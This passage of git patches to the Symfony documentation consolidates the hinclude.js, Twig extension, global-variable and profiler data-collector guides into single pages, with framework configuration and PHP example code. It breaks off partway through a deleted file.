+As the embedded content comes from another page (or controller for that matter),
+Symfony uses a version of the standard ``render()`` function to configure
+``hinclude`` tags in templates:
+
+.. code-block:: twig
+
+    {{ render_hinclude(controller('...')) }}
+    {{ render_hinclude(url('...')) }}
 
-    Templates can also :doc:`embed contents asynchronously </templating/hinclude>`
-    with the ``hinclude.js`` JavaScript library.
+.. note::
+
+    When using the ``controller()`` function, you must also configure the
+    :ref:`fragments path option <fragments-path-config>`.
+
+When JavaScript is disabled or it takes a long time to load you can display a
+default content rendering some template:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            fragments:
+                hinclude_default_template: hinclude.html.twig
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:fragments hinclude-default-template="hinclude.html.twig"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->fragments()
+                ->hincludeDefaultTemplate('hinclude.html.twig')
+            ;
+        };
+
+You can define default templates per ``render()`` function (which will override
+any global default template that is defined):
+
+.. code-block:: twig
+
+    {{ render_hinclude(controller('...'),  {
+        default: 'default/content.html.twig'
+    }) }}
+
+Or you can also specify a string to display as the default content:
+
+.. code-block:: twig
+
+    {{ render_hinclude(controller('...'), {default: 'Loading...'}) }}
+
+Use the ``attributes`` option to define the value of hinclude.js options:
+
+.. code-block:: twig
+
+    {# by default, cross-site requests don't use credentials such as cookies, authorization
+       headers or TLS client certificates; set this option to 'true' to use them #}
+    {{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
+
+    {# by default, the JavaScript code included in the loaded contents is not run;
+       set this option to 'true' to run that JavaScript code #}
+    {{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}
 
 Template Inheritance and Layouts
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1207,14 +1422,175 @@ you can refer to it as ``@AcmeFoo/user/profile.html.twig``.
     You can also :ref:`override bundle templates <override-templates>` in case
     you want to change some parts of the original bundle templates.
 
-Learn more
-----------
+.. index::
+   single: Twig extensions
+
+.. _templates-twig-extension:
+
+Writing a Twig Extension
+------------------------
+
+`Twig Extensions`_ allow the creation of custom functions, filters, and more to use
+in your Twig templates. Before writing your own Twig extension, check if
+the filter/function that you need is already implemented in:
+
+* The `default Twig filters and functions`_;
+* The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`;
+* The `official Twig extensions`_ related to strings, HTML, Markdown, internationalization, etc.
+
+Create the Extension Class
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Suppose you want to create a new filter called ``price`` that formats a number
+as currency:
+
+.. code-block:: twig
+
+    {{ product.price|price }}
+
+    {# pass in the 3 optional arguments #}
+    {{ product.price|price(2, ',', '.') }}
+
+Create a class that extends ``AbstractExtension`` and fill in the logic::
+
+    // src/Twig/AppExtension.php
+    namespace App\Twig;
+
+    use Twig\Extension\AbstractExtension;
+    use Twig\TwigFilter;
+
+    class AppExtension extends AbstractExtension
+    {
+        public function getFilters()
+        {
+            return [
+                new TwigFilter('price', [$this, 'formatPrice']),
+            ];
+        }
+
+        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        {
+            $price = number_format($number, $decimals, $decPoint, $thousandsSep);
+            $price = '$'.$price;
+
+            return $price;
+        }
+    }
+
+If you want to create a function instead of a filter, define the
+``getFunctions()`` method::
+
+    // src/Twig/AppExtension.php
+    namespace App\Twig;
+
+    use Twig\Extension\AbstractExtension;
+    use Twig\TwigFunction;
+
+    class AppExtension extends AbstractExtension
+    {
+        public function getFunctions()
+        {
+            return [
+                new TwigFunction('area', [$this, 'calculateArea']),
+            ];
+        }
+
+        public function calculateArea(int $width, int $length)
+        {
+            return $width * $length;
+        }
+    }
+
+.. tip::
+
+    Along with custom filters and functions, you can also register
+    `global variables`_.
+
+Register an Extension as a Service
+..................................
+
+Next, register your class as a service and tag it with ``twig.extension``. If you're
+using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+you're done! Symfony will automatically know about your new service and add the tag.
+
+You can now start using your filter in any Twig template. Optionally, execute
+this command to confirm that your new filter was successfully registered:
+
+.. code-block:: terminal
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+    # display all information about Twig
+    $ php bin/console debug:twig
+
+    # display only the information about a specific filter
+    $ php bin/console debug:twig --filter=price
+
+.. _lazy-loaded-twig-extensions:
+
+Creating Lazy-Loaded Twig Extensions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Including the code of the custom filters/functions in the Twig extension class
+is the simplest way to create extensions. However, Twig must initialize all
+extensions before rendering any template, even if the template doesn't use an
+extension.
+
+If extensions don't define dependencies (i.e. if you don't inject services in
+them) performance is not affected. However, if extensions define lots of complex
+dependencies (e.g. those making database connections), the performance loss can
+be significant.
+
+That's why Twig allows decoupling the extension definition from its
+implementation. Following the same example as before, the first change would be
+to remove the ``formatPrice()`` method from the extension and update the PHP
+callable defined in ``getFilters()``::
+
+    // src/Twig/AppExtension.php
+    namespace App\Twig;
+
+    use App\Twig\AppRuntime;
+    use Twig\Extension\AbstractExtension;
+    use Twig\TwigFilter;
+
+    class AppExtension extends AbstractExtension
+    {
+        public function getFilters()
+        {
+            return [
+                // the logic of this filter is now implemented in a different class
+                new TwigFilter('price', [AppRuntime::class, 'formatPrice']),
+            ];
+        }
+    }
+
+Then, create the new ``AppRuntime`` class (it's not required but these classes
+are suffixed with ``Runtime`` by convention) and include the logic of the
+previous ``formatPrice()`` method::
+
+    // src/Twig/AppRuntime.php
+    namespace App\Twig;
+
+    use Twig\Extension\RuntimeExtensionInterface;
+
+    class AppRuntime implements RuntimeExtensionInterface
+    {
+        public function __construct()
+        {
+            // this simple example doesn't define any dependency, but in your own
+            // extensions, you'll need to inject services using this constructor
+        }
+
+        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        {
+            $price = number_format($number, $decimals, $decPoint, $thousandsSep);
+            $price = '$'.$price;
+
+            return $price;
+        }
+    }
 
-    /templating/*
+If you're using the default ``services.yaml`` configuration, this will already
+work! Otherwise, :ref:`create a service <service-container-creating-service>`
+for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``.
 
 .. _`Twig`: https://twig.symfony.com
 .. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
@@ -1231,3 +1607,8 @@ Learn more
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
 .. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
+.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
+.. _`official Twig extensions`: https://github.com/twigphp?q=extra
+.. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1
+.. _`hinclude.js`: http://mnot.github.io/hinclude/
diff --git a/templating/PHP.rst b/templating/PHP.rst
deleted file mode 100644
index 9928984f8d8..00000000000
--- a/templating/PHP.rst
+++ /dev/null
@@ -1,10 +0,0 @@
-.. index::
-   single: PHP Templates
-
-How to Use PHP instead of Twig for Templates
-============================================
-
-.. caution::
-
-    Starting from Symfony 5.0, PHP templates are no longer supported. Use
-    :doc:`Twig </templates>` instead to create your templates.
diff --git a/templating/global_variables.rst b/templating/global_variables.rst
deleted file mode 100644
index f38d06aca02..00000000000
--- a/templating/global_variables.rst
+++ /dev/null
@@ -1,116 +0,0 @@
-.. index::
-   single: Templating; Global variables
-
-How to Inject Variables Automatically into all Templates
-========================================================
-
-Twig allows you to automatically inject one or more variables into all templates.
-These global variables are defined in the ``twig.globals`` option inside the
-main Twig configuration file:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/twig.yaml
-        twig:
-            # ...
-            globals:
-                ga_tracking: 'UA-xxxxx-x'
-
-    .. code-block:: xml
-
-        <!-- config/packages/twig.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:twig="http://symfony.com/schema/dic/twig"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/twig
-                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
-
-            <twig:config>
-                <!-- ... -->
-                <twig:global key="ga_tracking">UA-xxxxx-x</twig:global>
-            </twig:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/twig.php
-        use Symfony\Config\TwigConfig;
-
-        return static function (TwigConfig $twig) {
-            // ...
-
-            $twig->global('ga_tracking')->value('UA-xxxxx-x');
-        };
-
-Now, the variable ``ga_tracking`` is available in all Twig templates, so you
-can use it without having to pass it explicitly from the controller or service
-that renders the template:
-
-.. code-block:: html+twig
-
-    <p>The Google tracking code is: {{ ga_tracking }}</p>
-
-Referencing Services
---------------------
-
-In addition to static values, Twig global variables can also reference services
-from the :doc:`service container </service_container>`. The main drawback is
-that these services are not loaded lazily. In other words, as soon as Twig is
-loaded, your service is instantiated, even if you never use that global variable.
-
-To define a service as a global Twig variable, prefix the service ID string with
-the ``@`` character, which is the usual syntax to
-:ref:`refer to services in container parameters <service-container-parameters>`:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/twig.yaml
-        twig:
-            # ...
-            globals:
-                # the value is the service's id
-                uuid: '@App\Generator\UuidGenerator'
-
-    .. code-block:: xml
-
-        <!-- config/packages/twig.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:twig="http://symfony.com/schema/dic/twig"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/twig
-                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
-
-            <twig:config>
-                <!-- ... -->
-                <twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
-            </twig:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/twig.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
-        use Symfony\Config\TwigConfig;
-
-        return static function (TwigConfig $twig) {
-            // ...
-
-            $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
-        };
-
-Now you can use the ``uuid`` variable in any Twig template to access to the
-``UuidGenerator`` service:
-
-.. code-block:: twig
-
-    UUID: {{ uuid.generate }}
diff --git a/templating/hinclude.rst b/templating/hinclude.rst
deleted file mode 100644
index 3a117148983..00000000000
--- a/templating/hinclude.rst
+++ /dev/null
@@ -1,99 +0,0 @@
-.. index::
-    single: Templating; hinclude.js
-
-How to Embed Asynchronous Content with hinclude.js
-==================================================
-
-:ref:`Embedding controllers in templates <templates-embed-controllers>` is one
-of the ways to reuse contents across multiple templates. To further improve
-performance you can use the `hinclude.js`_ JavaScript library to embed
-controllers asynchronously.
-
-First, include the `hinclude.js`_ library in your page
-:ref:`linking to it <templates-link-to-assets>` from the template or adding it
-to your application JavaScript :doc:`using Webpack Encore </frontend>`.
-
-As the embedded content comes from another page (or controller for that matter),
-Symfony uses a version of the standard ``render()`` function to configure
-``hinclude`` tags in templates:
-
-.. code-block:: twig
-
-    {{ render_hinclude(controller('...')) }}
-    {{ render_hinclude(url('...')) }}
-
-.. note::
-
-    When using the ``controller()`` function, you must also configure the
-    :ref:`fragments path option <fragments-path-config>`.
-
-When JavaScript is disabled or it takes a long time to load you can display a
-default content rendering some template:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            fragments:
-                hinclude_default_template: hinclude.html.twig
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <!-- ... -->
-            <framework:config>
-                <framework:fragments hinclude-default-template="hinclude.html.twig"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->fragments()
-                ->hincludeDefaultTemplate('hinclude.html.twig')
-            ;
-        };
-
-You can define default templates per ``render()`` function (which will override
-any global default template that is defined):
-
-.. code-block:: twig
-
-    {{ render_hinclude(controller('...'),  {
-        default: 'default/content.html.twig'
-    }) }}
-
-Or you can also specify a string to display as the default content:
-
-.. code-block:: twig
-
-    {{ render_hinclude(controller('...'), {default: 'Loading...'}) }}
-
-Use the ``attributes`` option to define the value of hinclude.js options:
-
-.. code-block:: twig
-
-    {# by default, cross-site requests don't use credentials such as cookies, authorization
-       headers or TLS client certificates; set this option to 'true' to use them #}
-    {{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
-
-    {# by default, the JavaScript code included in the loaded contents is not run;
-       set this option to 'true' to run that JavaScript code #}
-    {{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}
-
-.. _`hinclude.js`: http://mnot.github.io/hinclude/
diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
deleted file mode 100644
index 3654fab4f6c..00000000000
--- a/templating/twig_extension.rst
+++ /dev/null
@@ -1,172 +0,0 @@
-.. index::
-   single: Twig extensions
-
-How to Write a custom Twig Extension
-====================================
-
-`Twig Extensions`_ allow the creation of custom functions, filters, and more to use
-in your Twig templates. Before writing your own Twig extension, check if
-the filter/function that you need is already implemented in:
-
-* The `default Twig filters and functions`_;
-* The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`;
-* The `official Twig extensions`_ related to strings, HTML, Markdown, internationalization, etc.
-
-Create the Extension Class
---------------------------
-
-Suppose you want to create a new filter called ``price`` that formats a number
-as currency:
-
-.. code-block:: twig
-
-    {{ product.price|price }}
-
-    {# pass in the 3 optional arguments #}
-    {{ product.price|price(2, ',', '.') }}
-
-Create a class that extends ``AbstractExtension`` and fill in the logic::
-
-    // src/Twig/AppExtension.php
-    namespace App\Twig;
-
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFilter;
-
-    class AppExtension extends AbstractExtension
-    {
-        public function getFilters()
-        {
-            return [
-                new TwigFilter('price', [$this, 'formatPrice']),
-            ];
-        }
-
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
-        {
-            $price = number_format($number, $decimals, $decPoint, $thousandsSep);
-            $price = '$'.$price;
-
-            return $price;
-        }
-    }
-
-If you want to create a function instead of a filter, define the
-``getFunctions()`` method::
-
-    // src/Twig/AppExtension.php
-    namespace App\Twig;
-
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFunction;
-
-    class AppExtension extends AbstractExtension
-    {
-        public function getFunctions()
-        {
-            return [
-                new TwigFunction('area', [$this, 'calculateArea']),
-            ];
-        }
-
-        public function calculateArea(int $width, int $length)
-        {
-            return $width * $length;
-        }
-    }
-
-.. tip::
-
-    Along with custom filters and functions, you can also register
-    `global variables`_.
-
-Register an Extension as a Service
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Next, register your class as a service and tag it with ``twig.extension``. If you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-you're done! Symfony will automatically know about your new service and add the tag.
-
-You can now start using your filter in any Twig template. Optionally, execute
-this command to confirm that your new filter was successfully registered:
-
-.. code-block:: terminal
-
-    # display all information about Twig
-    $ php bin/console debug:twig
-
-    # display only the information about a specific filter
-    $ php bin/console debug:twig --filter=price
-
-.. _lazy-loaded-twig-extensions:
-
-Creating Lazy-Loaded Twig Extensions
-------------------------------------
-
-Including the code of the custom filters/functions in the Twig extension class
-is the simplest way to create extensions. However, Twig must initialize all
-extensions before rendering any template, even if the template doesn't use an
-extension.
-
-If extensions don't define dependencies (i.e. if you don't inject services in
-them) performance is not affected. However, if extensions define lots of complex
-dependencies (e.g. those making database connections), the performance loss can
-be significant.
-
-That's why Twig allows decoupling the extension definition from its
-implementation. Following the same example as before, the first change would be
-to remove the ``formatPrice()`` method from the extension and update the PHP
-callable defined in ``getFilters()``::
-
-    // src/Twig/AppExtension.php
-    namespace App\Twig;
-
-    use App\Twig\AppRuntime;
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFilter;
-
-    class AppExtension extends AbstractExtension
-    {
-        public function getFilters()
-        {
-            return [
-                // the logic of this filter is now implemented in a different class
-                new TwigFilter('price', [AppRuntime::class, 'formatPrice']),
-            ];
-        }
-    }
-
-Then, create the new ``AppRuntime`` class (it's not required but these classes
-are suffixed with ``Runtime`` by convention) and include the logic of the
-previous ``formatPrice()`` method::
-
-    // src/Twig/AppRuntime.php
-    namespace App\Twig;
-
-    use Twig\Extension\RuntimeExtensionInterface;
-
-    class AppRuntime implements RuntimeExtensionInterface
-    {
-        public function __construct()
-        {
-            // this simple example doesn't define any dependency, but in your own
-            // extensions, you'll need to inject services using this constructor
-        }
-
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
-        {
-            $price = number_format($number, $decimals, $decPoint, $thousandsSep);
-            $price = '$'.$price;
-
-            return $price;
-        }
-    }
-
-If you're using the default ``services.yaml`` configuration, this will already
-work! Otherwise, :ref:`create a service <service-container-creating-service>`
-for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``.
-
-.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
-.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
-.. _`official Twig extensions`: https://github.com/twigphp?q=extra
-.. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1

From f5d8216b5d544b3b233d7bd3b0d7a59dda5f9e40 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 31 Jan 2023 08:34:05 +0100
Subject: [PATCH 4210/7107] Consolidate profiler docs

---
 _build/redirection_map      |   3 +-
 profiler.rst                | 304 +++++++++++++++++++++++++++++++++++-
 profiler/data_collector.rst | 304 ------------------------------------
 reference/dic_tags.rst      |   4 +-
 testing/profiling.rst       |   2 +-
 5 files changed, 306 insertions(+), 311 deletions(-)
 delete mode 100644 profiler/data_collector.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 7a7534a765f..295311d1532 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -190,7 +190,8 @@
 /cookbook/logging/monolog_console /logging/monolog_console
 /cookbook/logging/monolog_email /logging/monolog_email
 /cookbook/logging/monolog_regex_based_excludes /logging/monolog_regex_based_excludes
-/cookbook/profiler/data_collector /profiler/data_collector
+/cookbook/profiler/data_collector /profiler#profiler-data-collector
+/profiler/data_collector /profiler#profiler-data-collector
 /cookbook/profiler/index /profiler
 /cookbook/profiler/matchers /profiler/matchers
 /cookbook/profiler/profiling_data /profiler/profiling_data
diff --git a/profiler.rst b/profiler.rst
index 49e804f45b2..55bc0b6bf54 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -211,11 +211,309 @@ event::
         $response = $event->getResponse();
         $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
     }
+.. index::
+   single: Profiling; Data collector
 
-.. toctree::
-    :hidden:
+.. _profiler-data-collector:
 
-    profiler/data_collector
+Creating a Data Collector
+=========================
+
+The Symfony Profiler obtains its profiling and debug information using some
+special classes called data collectors. Symfony comes bundled with a few of
+them, but you can also create your own.
+
+A data collector is a PHP class that implements the
+:class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface`.
+For convenience, your data collectors can also extend from the
+:class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector`
+class, which implements the interface and provides some utilities and the
+``$this->data`` property to store the collected information.
+
+.. versionadded:: 5.2
+
+    The ``AbstractDataCollector`` class was introduced in Symfony 5.2.
+
+The following example shows a custom collector that stores information about the
+request::
+
+    // src/DataCollector/RequestCollector.php
+    namespace App\DataCollector;
+
+    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+
+    class RequestCollector extends AbstractDataCollector
+    {
+        public function collect(Request $request, Response $response, \Throwable $exception = null)
+        {
+            $this->data = [
+                'method' => $request->getMethod(),
+                'acceptable_content_types' => $request->getAcceptableContentTypes(),
+            ];
+        }
+    }
+
+These are the method that you can define in the data collector class:
+
+:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::collect` method:
+    Stores the collected data in local properties (``$this->data`` if you extend
+    from ``AbstractDataCollector``). If you need some services to collect the
+    data, inject those services in the data collector constructor.
+
+    .. caution::
+
+        The ``collect()`` method is only called once. It is not used to "gather"
+        data but is there to "pick up" the data that has been stored by your
+        service.
+
+    .. caution::
+
+        As the profiler serializes data collector instances, you should not
+        store objects that cannot be serialized (like PDO objects) or you need
+        to provide your own ``serialize()`` method.
+
+:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::reset` method:
+    It's called between requests to reset the state of the profiler. By default
+    it only empties the ``$this->data`` contents, but you can override this method
+    to do additional cleaning.
+
+:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::getName` method:
+    Returns the collector identifier, which must be unique in the application.
+    By default it returns the FQCN of the data collector class, but you can
+    override this method to return a custom name (e.g. ``app.request_collector``).
+    This value is used later to access the collector information (see
+    :doc:`/testing/profiling`) so you may prefer using short strings instead of FQCN strings.
+
+The ``collect()`` method is called during the :ref:`kernel.response <component-http-kernel-kernel-response>`
+event. If you need to collect data that is only available later, implement
+:class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface`
+and define the ``lateCollect()`` method, which is invoked right before the profiler
+data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` event).
+
+.. note::
+
+    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+    with ``autoconfigure``, then Symfony will start using your data collector after the
+    next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
+
+Adding Web Profiler Templates
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The information collected by your data collector can be displayed both in the
+web debug toolbar and in the web profiler. To do so, you need to create a Twig
+template that includes some specific blocks.
+
+First, add the ``getTemplate()`` method in your data collector class to return
+the path of the Twig template to use. Then, add some *getters* to give the
+template access to the collected information::
+
+    // src/DataCollector/RequestCollector.php
+    namespace App\DataCollector;
+
+    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
+
+    class RequestCollector extends AbstractDataCollector
+    {
+        // ...
+
+        public static function getTemplate(): ?string
+        {
+            return 'data_collector/template.html.twig';
+        }
+
+        public function getMethod()
+        {
+            return $this->data['method'];
+        }
+
+        public function getAcceptableContentTypes()
+        {
+            return $this->data['acceptable_content_types'];
+        }
+    }
+
+In the simplest case, you want to display the information in the toolbar
+without providing a profiler panel. This requires to define the ``toolbar``
+block and set the value of two variables called ``icon`` and ``text``:
+
+.. code-block:: html+twig
+
+    {# templates/data_collector/template.html.twig #}
+    {% extends '@WebProfiler/Profiler/layout.html.twig' %}
+
+    {% block toolbar %}
+        {% set icon %}
+            {# this is the content displayed as a panel in the toolbar #}
+            <svg xmlns="http://www.w3.org/2000/svg"> ... </svg>
+            <span class="sf-toolbar-value">Request</span>
+        {% endset %}
+
+        {% set text %}
+            {# this is the content displayed when hovering the mouse over
+               the toolbar panel #}
+            <div class="sf-toolbar-info-piece">
+                <b>Method</b>
+                <span>{{ collector.method }}</span>
+            </div>
+
+            <div class="sf-toolbar-info-piece">
+                <b>Accepted content type</b>
+                <span>{{ collector.acceptableContentTypes|join(', ') }}</span>
+            </div>
+        {% endset %}
+
+        {# the 'link' value set to 'false' means that this panel doesn't
+           show a section in the web profiler #}
+        {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { link: false }) }}
+    {% endblock %}
+
+.. tip::
+
+    Built-in collector templates define all their images as embedded SVG files.
+    This makes them work everywhere without having to mess with web assets links:
+
+    .. code-block:: twig
+
+        {% set icon %}
+            {{ include('data_collector/icon.svg') }}
+            {# ... #}
+        {% endset %}
+
+If the toolbar panel includes extended web profiler information, the Twig template
+must also define additional blocks:
+
+.. code-block:: html+twig
+
+    {# templates/data_collector/template.html.twig #}
+    {% extends '@WebProfiler/Profiler/layout.html.twig' %}
+
+    {% block toolbar %}
+        {% set icon %}
+            {# ... #}
+        {% endset %}
+
+        {% set text %}
+            <div class="sf-toolbar-info-piece">
+                {# ... #}
+            </div>
+        {% endset %}
+
+        {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { 'link': true }) }}
+    {% endblock %}
+
+    {% block head %}
+        {# Optional. Here you can link to or define your own CSS and JS contents. #}
+        {# Use {{ parent() }} to extend the default styles instead of overriding them. #}
+    {% endblock %}
+
+    {% block menu %}
+        {# This left-hand menu appears when using the full-screen profiler. #}
+        <span class="label">
+            <span class="icon"><img src="..." alt=""/></span>
+            <strong>Request</strong>
+        </span>
+    {% endblock %}
+
+    {% block panel %}
+        {# Optional, for showing the most details. #}
+        <h2>Acceptable Content Types</h2>
+        <table>
+            <tr>
+                <th>Content Type</th>
+            </tr>
+
+            {% for type in collector.acceptableContentTypes %}
+            <tr>
+                <td>{{ type }}</td>
+            </tr>
+            {% endfor %}
+        </table>
+    {% endblock %}
+
+The ``menu`` and ``panel`` blocks are the only required blocks to define the
+contents displayed in the web profiler panel associated with this data collector.
+All blocks have access to the ``collector`` object.
+
+.. note::
+
+    The position of each panel in the toolbar is determined by the collector
+    priority, which can only be defined when :ref:`configuring the data collector by hand <data_collector_tag>`.
+
+.. note::
+
+    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+    with ``autoconfigure``, then Symfony will start displaying your collector data
+    in the toolbar after the next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
+
+.. _data_collector_tag:
+
+Enabling Custom Data Collectors
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you don't use Symfony's default configuration with
+:ref:`autowire and autoconfigure <service-container-services-load-example>`
+you'll need to configure the data collector explicitly:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\DataCollector\RequestCollector:
+                tags:
+                    -
+                        name: data_collector
+                        # must match the value returned by the getName() method
+                        id: 'App\DataCollector\RequestCollector'
+                        # optional template (it has more priority than the value returned by getTemplate())
+                        template: 'data_collector/template.html.twig'
+                        # optional priority (positive or negative integer; default = 0)
+                        # priority: 300
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\DataCollector\RequestCollector">
+                    <!-- the 'template' attribute has more priority than the value returned by getTemplate() -->
+                    <tag name="data_collector"
+                        id="App\DataCollector\RequestCollector"
+                        template="data_collector/template.html.twig"
+                    />
+                    <!-- optional 'priority' attribute (positive or negative integer; default = 0) -->
+                    <!-- priority="300" -->
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\DataCollector\RequestCollector;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->set(RequestCollector::class)
+                ->tag('data_collector', [
+                    'id' => RequestCollector::class,
+                    // optional template (it has more priority than the value returned by getTemplate())
+                    'template' => 'data_collector/template.html.twig',
+                    // optional priority (positive or negative integer; default = 0)
+                    // 'priority' => 300,
+                ]);
+        };
 
 .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
deleted file mode 100644
index 44545614da2..00000000000
--- a/profiler/data_collector.rst
+++ /dev/null
@@ -1,304 +0,0 @@
-.. index::
-   single: Profiling; Data collector
-
-How to Create a custom Data Collector
-=====================================
-
-The :doc:`Symfony Profiler </profiler>` obtains its profiling and debug
-information using some special classes called data collectors. Symfony comes
-bundled with a few of them, but you can also create your own.
-
-Creating a custom Data Collector
---------------------------------
-
-A data collector is a PHP class that implements the
-:class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface`.
-For convenience, your data collectors can also extend from the
